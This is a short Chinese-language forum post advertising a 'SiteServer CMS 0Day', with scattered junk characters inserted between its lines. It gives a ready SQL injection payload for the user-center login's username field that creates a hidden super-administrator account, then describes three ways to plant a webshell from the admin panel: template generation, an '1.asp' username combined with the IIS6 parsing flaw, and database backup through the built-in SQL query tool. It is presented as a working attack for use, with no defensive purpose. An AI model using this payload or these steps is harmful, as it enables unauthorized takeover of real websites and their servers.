SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
3 f: T; X2 {* y# @
8 S* h6 c: C3 @. a; ]stieserver官网:www.siteserver.cn
7 |. x/ E  N: E


EXP:
% O+ d: B0 d8 B; g; z
直接访问UserCenter/login.aspx
# T! u0 O: B. S( y/ Y

( j' K& Q/ i0 x0 W8 R. U
+ n' F9 ]* b. v, u7 B( `+ U# |用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

! h. r: {1 p+ `" X8 g4 u

密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
0 K) t3 P. U* l$ w4 W/ ?
" J  Z. ?" I& @$ J! o. k

之后再访问后台SiteServer/login.aspx用插入的用户登陆

/ J' c2 v& |2 L6 b. [3 g
. Q3 K$ S! T$ m' E& N
后台拿webshell的三种方法：
& i7 o# S& v/ }) i- \
一、
. v9 T; C! C2 R8 Z
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

1 k' n$ i7 N# V. u3 E' V3 f二、

成员权限-》添加用户-》用户名为：1.asp

! e' M' f3 W! f5 _! ?http://127.0.0.1/usercenter/

6 E; i& }; t9 f用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
* r4 v! J- Y& e% U) y/ X
（ps：后台添加用户时不会验证是否含有非法字符）
/ P+ N$ e1 c% c7 L0 T/ {9 j2 g' P
三、

系统工具-》实用工具-》机器参数查看
# Z% ]9 c$ ]- G* O可以看到数据库类型、名称，WEB路径

; r! q8 S' k6 i5 C4 ~2 \系统工具-》数据库工具-》SQL语句查询
' A# e1 l$ e. S/ a: [6 J这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。